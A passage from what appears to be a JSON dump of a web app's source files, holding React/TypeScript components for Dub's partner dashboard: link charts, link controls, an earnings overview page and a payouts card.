\"stripIfInteger\",\n                        }\n                      : {\n                          notation:\n                            totals[chart.key] > 999999 ? \"compact\" : \"standard\",\n                        }\n                  }\n                />\n              </span>\n            ) : (\n              <div className=\"h-4 w-12 animate-pulse rounded bg-neutral-200\" />\n            )}\n          </div>\n          <div className=\"h-20 sm:h-24\">\n            {chartData ? (\n              <LinkEventsChart\n                key={`${interval}-${start}-${end}`}\n                data={chartData}\n                series={{\n                  id: chart.key,\n                  valueAccessor: (d) => d.values[chart.key],\n                  colorClassName: chart.colorClassName,\n                  isActive: true,\n                }}\n                currency={chart.currency}\n              />\n            ) : (\n              <div className=\"flex size-full items-center justify-center\">\n                {error ? (\n                  <p className=\"text-xs text-neutral-500\">\n                    Failed to load data\n                  </p>\n                ) : (\n                  <LoadingSpinner className=\"size-4\" />\n                )}\n              </div>\n            )}\n          </div>\n        </Link>\n      ))}\n    </div>\n  );\n});\n\nconst Controls = memo(({ link }: { link: PartnerProfileLinkProps }) => {\n  const { hovered } = useContext(CardList.Card.Context);\n  const { openMenuLinkId, setOpenMenuLinkId } = usePartnerLinksContext();\n\n  const openPopover = openMenuLinkId === link.id;\n  const setOpenPopover = useCallback(\n    (open: boolean) => {\n      setOpenMenuLinkId(open ? link.id : null);\n    },\n    [link.id, setOpenMenuLinkId],\n  );\n\n  const shortcutsEnabled = openPopover || (hovered && openMenuLinkId === null);\n\n  return (\n    <PartnerLinkControls\n      link={link}\n      openPopover={openPopover}\n      setOpenPopover={setOpenPopover}\n      shortcutsEnabled={shortcutsEnabled}\n    />\n  );\n});\n\nfunction LinkEventsChart({\n  data,\n  series,\n  currency,\n}: {\n  data: ComponentProps<typeof TimeSeriesChart>[\"data\"];\n  series: ComponentProps<typeof TimeSeriesChart>[\"series\"][number];\n  currency?: boolean;\n}) {\n  const { start, end, interval } = usePartnerLinksContext();\n\n  return (\n    <div className=\"relative size-full\">\n      <TimeSeriesChart\n        data={data}\n        series={[series]}\n        tooltipClassName=\"p-0\"\n        tooltipContent={(d) => {\n          return (\n            <>\n              <div className=\"flex items-center justify-between gap-6 whitespace-nowrap p-2 text-xs leading-none\">\n                <span className=\"font-medium text-neutral-700\">\n                  {formatDateTooltip(d.date, {\n                    interval,\n                    start,\n                    end,\n                  })}\n                </span>\n                <p className=\"text-right text-neutral-500\">\n                  {currency ? (\n                    <NumberFlow\n                      value={series.valueAccessor(d) / 100}\n                      format={{ style: \"currency\", currency: \"USD\" }}\n                    />\n                  ) : (\n                    <NumberFlow value={series.valueAccessor(d)} />\n                  )}\n                </p>\n              </div>\n            </>\n          );\n        }}\n      >\n        <XAxis showAxisLine={false} highlightLast={false} maxTicks={2} />\n        <Areas showLatestValueCircle={false} />\n      </TimeSeriesChart>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/links/partner-link-controls.tsx",
    "content": "import { PartnerProfileLinkProps } from \"@/lib/types\";\nimport { useDeletePartnerLinkModal } from \"@/ui/modals/delete-partner-link-modal\";\nimport { usePartnerLinkModal } from \"@/ui/modals/partner-link-modal\";\nimport { usePartnerLinkQRModal } from \"@/ui/modals/partner-link-qr-modal\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { Button, PenWriting, Popover, useKeyboardShortcut } from \"@dub/ui\";\nimport { QRCode, Trash } from \"@dub/ui/icons\";\nimport { CopyPlus } from \"lucide-react\";\n\nexport function PartnerLinkControls({\n  link,\n  openPopover,\n  setOpenPopover,\n  shortcutsEnabled,\n}: {\n  link: PartnerProfileLinkProps;\n  openPopover: boolean;\n  setOpenPopover: (open: boolean) => void;\n  shortcutsEnabled: boolean;\n}) {\n  const { setShowPartnerLinkModal, PartnerLinkModal } = usePartnerLinkModal({\n    link,\n  });\n\n  const { setShowLinkQRModal, LinkQRModal } = usePartnerLinkQRModal({\n    props: {\n      domain: link.domain,\n      key: link.key,\n    },\n  });\n\n  const {\n    setShowPartnerLinkModal: setShowDuplicateLinkModal,\n    PartnerLinkModal: DuplicateLinkModal,\n  } = usePartnerLinkModal({\n    link: {\n      ...link,\n      id: \"\",\n      key: \"\",\n    },\n  });\n\n  const canDelete =\n    !link.partnerGroupDefaultLinkId &&\n    link.clicks === 0 &&\n    link.leads === 0 &&\n    link.saleAmount === 0;\n\n  const { setShowDeletePartnerLinkModal, DeletePartnerLinkModal } =\n    useDeletePartnerLinkModal({\n      link,\n      onSuccess: () => {\n        setOpenPopover(false);\n      },\n    });\n\n  useKeyboardShortcut(\n    [\"e\", \"q\", \"d\", \"x\"],\n    (e) => {\n      setOpenPopover(false);\n      switch (e.key) {\n        case \"e\":\n          setShowPartnerLinkModal(true);\n          break;\n        case \"q\":\n          setShowLinkQRModal(true);\n          break;\n        case \"d\":\n          setShowDuplicateLinkModal(true);\n          break;\n        case \"x\":\n          if (canDelete) {\n            setShowDeletePartnerLinkModal(true);\n          }\n          break;\n      }\n    },\n    {\n      enabled: shortcutsEnabled,\n      priority: 1,\n    },\n  );\n\n  return (\n    <div className=\"flex justify-end\">\n      <DeletePartnerLinkModal />\n      <LinkQRModal />\n      <PartnerLinkModal />\n      <DuplicateLinkModal />\n      <Popover\n        content={\n          <div className=\"w-full sm:w-48\">\n            <div className=\"grid gap-px p-2\">\n              <Button\n                text=\"Edit\"\n                variant=\"outline\"\n                onClick={() => {\n                  setOpenPopover(false);\n                  setShowPartnerLinkModal(true);\n                }}\n                icon={<PenWriting className=\"size-4\" />}\n                shortcut=\"E\"\n                className=\"h-9 px-2 font-medium\"\n              />\n              <Button\n                text=\"QR Code\"\n                variant=\"outline\"\n                onClick={() => {\n                  setOpenPopover(false);\n                  setShowLinkQRModal(true);\n                }}\n                icon={<QRCode className=\"size-4\" />}\n                shortcut=\"Q\"\n                className=\"h-9 px-2 font-medium\"\n              />\n              <Button\n                text=\"Duplicate\"\n                variant=\"outline\"\n                onClick={() => {\n                  setOpenPopover(false);\n                  setShowDuplicateLinkModal(true);\n                }}\n                icon={<CopyPlus className=\"size-4\" />}\n                shortcut=\"D\"\n                className=\"h-9 px-2 font-medium\"\n              />\n              <Button\n                text=\"Delete\"\n                variant=\"danger-outline\"\n                onClick={() => {\n                  setOpenPopover(false);\n                  setShowDeletePartnerLinkModal(true);\n                }}\n                icon={<Trash className=\"size-4\" />}\n                shortcut=\"X\"\n                className=\"h-9 px-2 font-medium\"\n                disabled={!canDelete}\n                disabledTooltip={\n                  link.partnerGroupDefaultLinkId\n                    ? \"You cannot delete your default link.\"\n                    : !canDelete\n                      ? \"You can only delete links with 0 clicks, 0 leads, and $0 in sales.\"\n                      : undefined\n                }\n              />\n            </div>\n          </div>\n        }\n        align=\"end\"\n        openPopover={openPopover}\n        setOpenPopover={setOpenPopover}\n      >\n        <Button\n          variant=\"secondary\"\n          className=\"h-8 border-neutral-200 px-1.5 outline-none transition-all duration-200\"\n          icon={<ThreeDots className=\"h-5 w-5 shrink-0\" />}\n          onClick={() => {\n            setOpenPopover(!openPopover);\n          }}\n        />\n      </Popover>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/page-client.tsx",
    "content": "\"use client\";\n\nimport { DUB_PARTNERS_ANALYTICS_INTERVAL } from \"@/lib/analytics/constants\";\nimport { formatDateTooltip } from \"@/lib/analytics/format-date-tooltip\";\nimport { IntervalOptions } from \"@/lib/analytics/types\";\nimport { useSyncedLocalStorage } from \"@/lib/hooks/use-synced-local-storage\";\nimport { constructPartnerLink } from \"@/lib/partners/construct-partner-link\";\nimport { QueryLinkStructureHelpText } from \"@/lib/partners/query-link-structure-help-text\";\nimport usePartnerAnalytics from \"@/lib/swr/use-partner-analytics\";\nimport { usePartnerEarningsTimeseries } from \"@/lib/swr/use-partner-earnings-timeseries\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { HeroBackground } from \"@/ui/partners/hero-background\";\nimport { PartnerStatusBadges } from \"@/ui/partners/partner-status-badges\";\nimport { ProgramRewardList } from \"@/ui/partners/program-reward-list\";\nimport { ProgramRewardTerms } from \"@/ui/partners/program-reward-terms\";\nimport SimpleDateRangePicker from \"@/ui/shared/simple-date-range-picker\";\nimport {\n  Button,\n  buttonVariants,\n  StatusBadge,\n  Tooltip,\n  useCopyToClipboard,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport {\n  Areas,\n  ChartContext,\n  ChartTooltipSync,\n  TimeSeriesChart,\n  XAxis,\n} from \"@dub/ui/charts\";\nimport {\n  Check,\n  Copy,\n  CursorRays,\n  InvoiceDollar,\n  LoadingSpinner,\n  ReferredVia,\n  UserPlus,\n} from \"@dub/ui/icons\";\nimport { cn, currencyFormatter, getPrettyUrl, nFormatter } from \"@dub/utils\";\nimport NumberFlow, { NumberFlowGroup } from \"@number-flow/react\";\nimport { LinearGradient } from \"@visx/gradient\";\nimport { endOfDay, startOfDay } from \"date-fns\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport {\n  createContext,\n  CSSProperties,\n  useContext,\n  useId,\n  useMemo,\n  useState,\n} from \"react\";\nimport { EarningsTablePartner } from \"./earnings/earnings-table\";\nimport { PayoutsCard } from \"./payouts-card\";\nimport { ShareEarningsModal } from \"./share-earnings-modal\";\n\nconst ProgramOverviewContext = createContext<{\n  start?: Date;\n  end?: Date;\n  interval: IntervalOptions;\n  color?: string;\n}>({\n  interval: DUB_PARTNERS_ANALYTICS_INTERVAL,\n});\n\nexport default function ProgramPageClient() {\n  const { getQueryString, searchParamsObj } = useRouterStuff();\n  const { programSlug } = useParams();\n\n  const [hideDetails, _setHideDetails] = useSyncedLocalStorage(\n    `hide-program-details:${programSlug}`,\n    false,\n  );\n\n  const { programEnrollment, showDetailedAnalytics } = useProgramEnrollment();\n  const [copied, copyToClipboard] = useCopyToClipboard();\n\n  const {\n    start,\n    end,\n    interval = DUB_PARTNERS_ANALYTICS_INTERVAL,\n  } = searchParamsObj as {\n    start?: string;\n    end?: string;\n    interval?: IntervalOptions;\n  };\n\n  const program = programEnrollment?.program;\n  const defaultProgramLink = programEnrollment?.links?.[0];\n\n  if (!program) {\n    return null;\n  }\n\n  const partnerLink = constructPartnerLink({\n    group: programEnrollment.group,\n    link: defaultProgramLink,\n  });\n\n  const isDeactivated = programEnrollment?.status === \"deactivated\";\n\n  return (\n    <PageWidthWrapper className=\"pb-10\">\n      {partnerLink && (\n        <AnimatePresence mode=\"wait\" initial={false}>\n          {!hideDetails && (\n            <motion.div\n              initial={{ height: 0, opacity: 0 }}\n              animate={{ height: \"auto\", opacity: 1 }}\n              exit={{ height: 0, opacity: 0 }}\n              transition={{\n                type: \"spring\",\n                stiffness: 300,\n                damping: 30,\n                opacity: { duration: 0.2 },\n              }}\n              className=\"overflow-hidden\"\n            >\n              <div\n                className={cn(\n                  \"relative z-0 mb-4 flex flex-col overflow-hidden rounded-xl border border-neutral-200 p-4 sm:mb-8 md:p-6\",\n                  isDeactivated && \"opacity-80\",\n                )}\n              >\n                {program && (\n                  <HeroBackground\n                    logo={programEnrollment.group?.logo}\n                    color={programEnrollment.group?.brandColor}\n                  />\n                )}\n\n                <span className=\"text-base font-semibold text-neutral-800\">\n                  Referral link\n                </span>\n                <div className=\"xs:flex-row xs:items-center relative mt-3 flex flex-col gap-2 md:max-w-[50%]\">\n                  {partnerLink ? (\n                    <input\n                      type=\"text\"\n                      readOnly\n                      value={getPrettyUrl(partnerLink)}\n                      disabled={isDeactivated}\n                      className={cn(\n                        \"border-border-default text-content-default focus:border-border-emphasis bg-bg-default h-10 min-w-0 shrink grow rounded-md border px-3 text-sm focus:outline-none focus:ring-neutral-500\",\n                        isDeactivated && \"text-content-subtle cursor-default\",\n                      )}\n                    />\n                  ) : (\n                    <div className=\"h-10 w-16 animate-pulse rounded-md bg-neutral-200 lg:w-72\" />\n                  )}\n                  {isDeactivated\n                    ? (() => {\n                        const deactivatedBadge =\n                          PartnerStatusBadges.deactivated;\n                        return (\n                          <StatusBadge\n                            variant={deactivatedBadge.variant}\n                            icon={deactivatedBadge.icon}\n                            className=\"xs:w-fit absolute right-4 top-1/2 -translate-y-1/2 px-1.5 py-0.5\"\n                          >\n                            {deactivatedBadge.label}\n                          </StatusBadge>\n                        );\n                      })()\n                    : !isDeactivated && (\n                        <Button\n                          icon={\n                            <div className=\"relative size-4\">\n                              <div\n                                className={cn(\n                                  \"absolute inset-0 transition-[transform,opacity]\",\n                                  copied && \"translate-y-1 opacity-0\",\n                                )}\n                              >\n                                <Copy className=\"size-4\" />\n                              </div>\n                              <div\n                                className={cn(\n                                  \"absolute inset-0 transition-[transform,opacity]\",\n                                  !copied && \"translate-y-1 opacity-0\",\n                                )}\n                              >\n                                <Check className=\"size-4\" />\n                              </div>\n                            </div>\n                          }\n                          text={copied ? \"Copied link\" : \"Copy link\"}\n                          className=\"xs:w-fit\"\n                          onClick={() => {\n                            if (partnerLink) {\n                              copyToClipboard(partnerLink);\n                            }\n                          }}\n                        />\n                      )}\n                </div>\n\n                {programEnrollment.group?.linkStructure === \"query\" && (\n                  <QueryLinkStructureHelpText link={defaultProgramLink} />\n                )}\n\n                <span className=\"mt-12 text-base font-semibold text-neutral-800\">\n                  Rewards\n                </span>\n                <div className=\"relative mt-2 text-lg text-neutral-900 md:max-w-[50%]\">\n                  {programEnrollment?.rewards ? (\n                    <>\n                      <ProgramRewardList\n                        rewards={programEnrollment.rewards}\n                        discount={programEnrollment.discount}\n                      />\n                      <ProgramRewardTerms\n                        minPayoutAmount={program.minPayoutAmount}\n                        holdingPeriodDays={\n                          programEnrollment.group?.holdingPeriodDays ?? 0\n                        }\n                      />\n                    </>\n                  ) : (\n                    <div className=\"h-7 w-5/6 animate-pulse rounded-md bg-neutral-200\" />\n                  )}\n                </div>\n              </div>\n            </motion.div>\n          )}\n        </AnimatePresence>\n      )}\n      <ProgramOverviewContext.Provider\n        value={{\n          start: start ? startOfDay(new Date(start)) : undefined,\n          end: end ? endOfDay(new Date(end)) : undefined,\n          interval,\n          color: programEnrollment.group?.brandColor ?? undefined,\n        }}\n      >\n        <ChartTooltipSync>\n          <div className=\"grid grid-cols-1 gap-6 lg:grid-cols-3\">\n            <div className=\"group rounded-xl border border-neutral-200 p-5 pb-3 pt-4 lg:col-span-2\">\n              <EarningsChart />\n            </div>\n\n            <PayoutsCard programId={program?.id} />\n            <NumberFlowGroup>\n              {showDetailedAnalytics ? (\n                <>\n                  <StatCard title=\"Clicks\" event=\"clicks\" />\n                  <StatCard title=\"Leads\" event=\"leads\" />\n                  <StatCard title=\"Sales\" event=\"sales\" />\n                </>\n              ) : (\n                <>\n                  <StatCardSimple title=\"Clicks\" event=\"clicks\" />\n                  <StatCardSimple title=\"Leads\" event=\"leads\" />\n                  <StatCardSimple title=\"Sales\" event=\"sales\" />\n                </>\n              )}\n            </NumberFlowGroup>\n          </div>\n        </ChartTooltipSync>\n        <div className=\"mt-6\">\n          <div className=\"flex items-center justify-between\">\n            <h2 className=\"text-base font-semibold text-neutral-900\">\n              Recent earnings\n            </h2>\n            <Link\n              href={`/programs/${programSlug}/earnings${getQueryString()}`}\n              className={cn(\n                buttonVariants({ variant: \"secondary\" }),\n                \"flex h-7 items-center rounded-lg border px-2 text-sm\",\n              )}\n            >\n              View all\n            </Link>\n          </div>\n        </div>\n        <div className=\"mt-4\">\n          <EarningsTablePartner limit={10} />\n        </div>\n      </ProgramOverviewContext.Provider>\n    </PageWidthWrapper>\n  );\n}\n\nfunction EarningsChart() {\n  const { programSlug } = useParams();\n  const { getQueryString } = useRouterStuff();\n  const { start, end, interval } = useContext(ProgramOverviewContext);\n  const [showShareModal, setShowShareModal] = useState(false);\n\n  const { programEnrollment } = useProgramEnrollment();\n\n  const { data: timeseries, error } = usePartnerEarningsTimeseries({\n    interval,\n    start,\n    end,\n  });\n\n  const { data: analyticsData } = usePartnerAnalytics({\n    event: \"composite\",\n    groupBy: \"count\",\n    interval,\n    start,\n    end,\n  });\n\n  const total = useMemo(\n    () => timeseries?.reduce((acc, { earnings }) => acc + earnings, 0),\n    [timeseries],\n  );\n\n  const totalClicks = useMemo(\n    () => analyticsData?.clicks ?? 0,\n    [analyticsData],\n  );\n\n  const epc = useMemo(() => {\n    if (!total || !totalClicks || totalClicks === 0) return 0;\n    return total / totalClicks;\n  }, [total, totalClicks]);\n\n  const data = useMemo(\n    () =>\n      timeseries?.map(({ start, earnings }) => ({\n        date: new Date(start),\n        value: earnings,\n      })),\n    [timeseries],\n  );\n\n  return (\n    <div>\n      {programEnrollment?.program && (\n        <ShareEarningsModal\n          showModal={showShareModal}\n          setShowModal={setShowShareModal}\n          programId={programEnrollment.program.id}\n          start={start}\n          end={end}\n          interval={interval}\n          timeseries={timeseries}\n        />\n      )}\n      <div className=\"flex flex-col-reverse items-start justify-between gap-4 md:flex-row\">\n        <div className=\"flex items-center gap-0\">\n          <div>\n            <div className=\"flex items-center gap-1.5\">\n              <span className=\"block text-base font-semibold leading-none text-neutral-800\">\n                Earnings\n              </span>\n              <Tooltip content=\"Share chart\">\n                <button\n                  type=\"button\"\n                  onClick={() => setShowShareModal(true)}\n                  className=\"flex size-6 items-center justify-center rounded-md border border-transparent text-neutral-500 transition-colors hover:border-neutral-200 hover:bg-neutral-50 hover:text-neutral-700\"\n                >\n                  <ReferredVia className=\"size-3.5\" />\n                </button>\n              </Tooltip>\n            </div>\n            <div className=\"flex items-baseline gap-2\">\n              {total !== undefined ? (\n                <>\n                  <NumberFlow\n                    className=\"text-lg font-medium leading-none text-neutral-600\"\n                    value={total / 100}\n                    format={{\n                      style: \"currency\",\n                      currency: \"USD\",\n                      // @ts-ignore – trailingZeroDisplay is a valid option but TS is outdated\n                      trailingZeroDisplay: \"stripIfInteger\",\n                    }}\n                  />\n                  {total > 0 && analyticsData && (\n                    <NumberFlow\n                      className=\"text-sm font-medium leading-none text-neutral-500/80\"\n                      value={epc / 100}\n                      format={{\n                        style: \"currency\",\n                        currency: \"USD\",\n                        // @ts-ignore – trailingZeroDisplay is a valid option but TS is outdated\n                        trailingZeroDisplay: \"stripIfInteger\",\n                      }}\n                      suffix=\" EPC\"\n                    />\n                  )}\n                </>\n              ) : (\n                <div className=\"h-[27px] w-24 animate-pulse rounded-md bg-neutral-200\" />\n              )}\n            </div>\n          </div>\n        </div>\n        <div className=\"flex w-full items-center gap-2 md:w-auto\">\n          <ViewMoreButton\n            href={`/programs/${programSlug}/earnings${getQueryString()}`}\n          />\n          <SimpleDateRangePicker\n            className=\"h-7 min-w-0 flex-1 px-2.5 text-xs font-medium md:w-fit md:flex-none\"\n            align=\"end\"\n          />\n        </div>\n      </div>\n      <div className=\"relative mt-2 h-44 w-full\">\n        {data ? (\n          <BrandedChart data={data} currency />\n        ) : (\n          <div className=\"flex size-full items-center justify-center\">\n            {error ? (\n              <span className=\"text-sm text-neutral-500\">\n                Failed to load earnings data.\n              </span>\n            ) : (\n              <LoadingSpinner />\n            )}\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n\nfunction StatCard({\n  title,\n  event,\n}: {\n  title: string;\n  event: \"clicks\" | \"leads\" | \"sales\";\n}) {\n  const { programSlug } = useParams();\n  const { getQueryString } = useRouterStuff();\n  const { start, end, interval } = useContext(ProgramOverviewContext);\n\n  const { data: timeseries, error } = usePartnerAnalytics({\n    groupBy: \"timeseries\",\n    event: \"composite\",\n    interval,\n    start,\n    end,\n  });\n\n  const totals = useMemo(() => {\n    return timeseries && timeseries.length > 0\n      ? timeseries.reduce(\n          (acc, { clicks, leads, sales }) => ({\n            clicks: acc.clicks + clicks,\n            leads: acc.leads + leads,\n            sales: acc.sales + sales,\n          }),\n          { clicks: 0, leads: 0, sales: 0 },\n        )\n      : { clicks: 0, leads: 0, sales: 0 };\n  }, [timeseries]);\n\n  return (\n    <div className=\"group block rounded-xl border border-neutral-200 bg-white p-5 pb-3\">\n      <div className=\"flex justify-between\">\n        <div>\n          <span className=\"mb-1 block text-base font-semibold leading-none text-neutral-800\">\n            {title}\n          </span>\n          {totals !== undefined ? (\n            <div className=\"flex items-center gap-1 text-lg font-medium text-neutral-600\">\n              <NumberFlow\n                value={totals[event]}\n                format={{\n                  notation: totals[event] > 999999 ? \"compact\" : \"standard\",\n                }}\n              />\n            </div>\n          ) : (\n            <div className=\"h-[27px] w-16 animate-pulse rounded-md bg-neutral-200\" />\n          )}\n        </div>\n        <ViewMoreButton\n          href={`/programs/${programSlug}/analytics?event=${event}${getQueryString()?.replace(\"?\", \"&\")}`}\n        />\n      </div>\n      <div className=\"mt-2 h-44 w-full\">\n        {timeseries ? (\n          <BrandedChart\n            data={timeseries.map((d) => ({\n              date: new Date(d.start),\n              value: d[event],\n            }))}\n          />\n        ) : (\n          <div className=\"flex size-full items-center justify-center\">\n            {error ? (\n              <span className=\"text-sm text-neutral-500\">\n                Failed to load data.\n              </span>\n            ) : (\n              <LoadingSpinner />\n            )}\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n\nfunction StatCardSimple({\n  title,\n  event,\n}: {\n  title: string;\n  event: \"clicks\" | \"leads\" | \"sales\";\n}) {\n  const { data: total } = usePartnerAnalytics({\n    event: \"composite\",\n  });\n\n  const iconMap = {\n    clicks: CursorRays,\n    leads: UserPlus,\n    sales: InvoiceDollar,\n  };\n\n  const Icon = iconMap[event];\n\n  return (\n    <div className=\"relative block rounded-xl border border-neutral-200 bg-white px-5 py-4\">\n      <div className=\"flex items-center gap-4\">\n        <div className=\"flex size-12 shrink-0 items-center justify-center rounded-lg bg-neutral-100\">\n          <Icon className=\"size-5 text-neutral-700\" />\n        </div>\n        <div className=\"flex min-w-0 flex-1 flex-col\">\n          <span className=\"block text-sm font-medium text-neutral-600\">\n            {title}\n          </span>\n          {total !== undefined ? (\n            <NumberFlow\n              className=\"text-xl font-semibold text-neutral-900\"\n              value={total[event]}\n              format={{\n                notation: total[event] > 999999 ? \"compact\" : \"standard\",\n              }}\n            />\n          ) : (\n            <div className=\"mt-0.5 h-7 w-12 animate-pulse rounded-md bg-neutral-200\" />\n          )}\n        </div>\n      </div>\n      <div className=\"absolute right-6 top-4 text-xs text-neutral-400\">\n        All-time data\n      </div>\n    </div>\n  );\n}\n\nfunction BrandedChart({\n  data: dataProp,\n  currency,\n}: {\n  data: { date: Date; value: number }[];\n  currency?: boolean;\n}) {\n  const id = useId();\n\n  const { programEnrollment } = useProgramEnrollment();\n  const { start, end, interval, color } = useContext(ProgramOverviewContext);\n\n  const data = useMemo(() => {\n    return dataProp.map((d) => ({\n      date: new Date(d.date),\n      values: { main: d.value },\n    }));\n  }, [dataProp]);\n\n  return (\n    <div\n      className=\"relative size-full\"\n      style={{ \"--color\": color || \"#DA2778\" } as CSSProperties}\n    >\n      <TimeSeriesChart\n        data={data}\n        series={[\n          {\n            id: \"main\",\n            valueAccessor: (d) => d.values.main,\n            colorClassName: \"text-[var(--color)]\",\n            isActive: true,\n          },\n        ]}\n        tooltipClassName=\"p-0\"\n        tooltipContent={(d) => {\n          return (\n            <>\n              <div className=\"flex justify-between gap-6 whitespace-nowrap p-2 text-xs leading-none\">\n                <span className=\"font-medium text-neutral-700\">\n                  {formatDateTooltip(d.date, {\n                    interval,\n                    start,\n                    end,\n                    dataAvailableFrom:\n                      programEnrollment?.program.startedAt ??\n                      programEnrollment?.program.createdAt,\n                  })}\n                </span>\n                <p className=\"text-right text-neutral-500\">\n                  {currency\n                    ? currencyFormatter(d.values.main)\n                    : nFormatter(d.values.main)}\n                </p>\n              </div>\n            </>\n          );\n        }}\n      >\n        <ChartContext.Consumer>\n          {(context) => (\n            <LinearGradient\n              id={`${id}-color-gradient`}\n              from={color || \"#7D3AEC\"}\n              to={color || \"#DA2778\"}\n              x1={0}\n              x2={context?.width ?? 1}\n              gradientUnits=\"userSpaceOnUse\"\n            />\n          )}\n        </ChartContext.Consumer>\n\n        <XAxis showAxisLine={false} />\n        <Areas\n          seriesStyles={[\n            {\n              id: \"main\",\n              areaFill: `url(#${id}-color-gradient)`,\n              lineStroke: `url(#${id}-color-gradient)`,\n              lineClassName: \"text-[var(--color)]\",\n            },\n          ]}\n        />\n      </TimeSeriesChart>\n    </div>\n  );\n}\n\nfunction ViewMoreButton({ href }: { href: string }) {\n  return (\n    <div className=\"-mr-2 overflow-hidden pr-2 [mask-image:linear-gradient(270deg,transparent,black_8px)] [mask-origin:padding-box]\">\n      <div className=\"overflow-visible transition-all duration-200 focus-within:w-[82px] focus-within:opacity-100 group-hover:w-[82px] group-hover:opacity-100 sm:w-0 sm:opacity-0\">\n        <Link\n          href={href}\n          className={cn(\n            \"flex h-7 w-[82px] items-center justify-center whitespace-nowrap rounded-md border px-0 text-xs font-medium\",\n            buttonVariants({ variant: \"secondary\" }),\n          )}\n        >\n          View more\n        </Link>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { HideProgramDetailsButton } from \"./hide-program-details-button\";\nimport ProgramPageClient from \"./page-client\";\n\nexport default function ProgramPage() {\n  return (\n    <PageContent\n      title=\"Overview\"\n      titleInfo={{\n        title:\n          \"Learn how to measure your performance, manage your referral links, and view your earnings for a program on Dub.\",\n        href: \"https://dub.co/help/article/navigating-partner-program\",\n      }}\n      controls={<HideProgramDetailsButton />}\n    >\n      <ProgramPageClient />\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/payouts-card.tsx",
    "content": "\"use client\";\n\nimport usePartnerPayouts from \"@/lib/swr/use-partner-payouts\";\nimport usePartnerPayoutsCount from \"@/lib/swr/use-partner-payouts-count\";\nimport { PartnerPayoutResponse } from \"@/lib/types\";\nimport { PayoutStatusBadgePartner } from \"@/ui/partners/payout-status-badge-partner\";\nimport { PayoutStatusBadges } from \"@/ui/partners/payout-status-badges\";\nimport { CircleWarning, MoneyBills2, TimestampTooltip } from \"@dub/ui\";\nimport { currencyFormatter, formatDateSmart, formatPeriod } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useState } from \"react\";\nimport { PayoutDetailsSheet } from \"../../../payouts/partner-payout-details-sheet\";\n\nexport function PayoutsCard({ programId }: { programId?: string }) {\n  const { payouts, error } = usePartnerPayouts({\n    ...(programId && { programId }),\n    pageSize: \"4\",\n  });\n  const { payoutsCount } = usePartnerPayoutsCount<number>({\n    ...(programId && { programId }),\n  });\n\n  const [detailsSheetState, setDetailsSheetState] = useState<\n    | { open: false; payout: PartnerPayoutResponse | null }\n    | { open: true; payout: PartnerPayoutResponse }\n  >({ open: false, payout: null });\n\n  return (\n    <>\n      {detailsSheetState.payout && (\n        <PayoutDetailsSheet\n          isOpen={detailsSheetState.open}\n          setIsOpen={(open) =>\n            setDetailsSheetState((s) => ({ ...s, open }) as any)\n          }\n          payout={detailsSheetState.payout}\n        />\n      )}\n      <div className=\"flex flex-col gap-4 rounded-xl border border-neutral-200 p-5 pb-3\">\n        <div className=\"flex justify-between\">\n          <span className=\"block text-base font-semibold leading-none text-neutral-800\">\n            Payouts\n          </span>\n          {payouts?.length ? (\n            <Link\n              href={`/payouts?programId=${programId}`}\n              className=\"text-sm font-medium leading-none text-neutral-500 hover:text-neutral-600\"\n            >\n              {payouts.length} of {payoutsCount} results\n            </Link>\n          ) : null}\n        </div>\n        {payouts ? (\n          payouts.length ? (\n            <div className=\"-mx-2 flex flex-col divide-y divide-neutral-200\">\n              {payouts?.map((payout) => {\n                const badge = PayoutStatusBadges[payout.status];\n                return (\n                  <button\n                    key={payout.id}\n                    type=\"button\"\n                    onClick={() => setDetailsSheetState({ open: true, payout })}\n                    className=\"flex items-center justify-between p-2 text-left transition-colors duration-100 hover:bg-neutral-50 active:bg-neutral-100\"\n                  >\n                    <div className=\"flex flex-col\">\n                      <span className=\"text-xs font-medium text-neutral-800\">\n                        {currencyFormatter(payout.amount)}\n                      </span>\n                      <span className=\"text-[0.7rem] text-neutral-500\">\n                        {payout.paidAt ? (\n                          <TimestampTooltip\n                            timestamp={payout.paidAt}\n                            side=\"right\"\n                            rows={[\"local\", \"utc\"]}\n                          >\n                            <span className=\"hover:text-content-emphasis underline decoration-dotted underline-offset-2\">\n                              Paid at{\" \"}\n                              {formatDateSmart(payout.paidAt, {\n                                month: \"short\",\n                              })}\n                            </span>\n                          </TimestampTooltip>\n                        ) : payout.initiatedAt ? (\n                          <TimestampTooltip\n                            timestamp={payout.initiatedAt}\n                            side=\"right\"\n                            rows={[\"local\", \"utc\"]}\n                          >\n                            <span className=\"hover:text-content-emphasis underline decoration-dotted underline-offset-2\">\n                              Initiated at{\" \"}\n                              {formatDateSmart(payout.initiatedAt, {\n                                month: \"short\",\n                              })}\n                            </span>\n                          </TimestampTooltip>\n                        ) : (\n                          formatPeriod(payout)\n                        )}\n                      </span>\n                    </div>\n                    <PayoutStatusBadgePartner\n                      payout={payout}\n                      program={payout.program}\n                    />\n                  </button>\n                );\n              })}\n            </div>\n          ) : (\n            <div className=\"flex grow flex-col items-center justify-center gap-2 p-4 text-xs text-neutral-600\">\n              <MoneyBills2 className=\"size-4\" />\n              No payouts\n            </div>\n          )\n        ) : error ? (\n          <div className=\"flex grow flex-col items-center justify-center gap-2 p-4 text-xs text-neutral-600\">\n            <CircleWarning className=\"size-4\" />\n            Failed to load payouts\n          </div>\n        ) : (\n          <div className=\"flex flex-col divide-y divide-neutral-200\">\n            {[...Array(4)].map((_, idx) => (\n              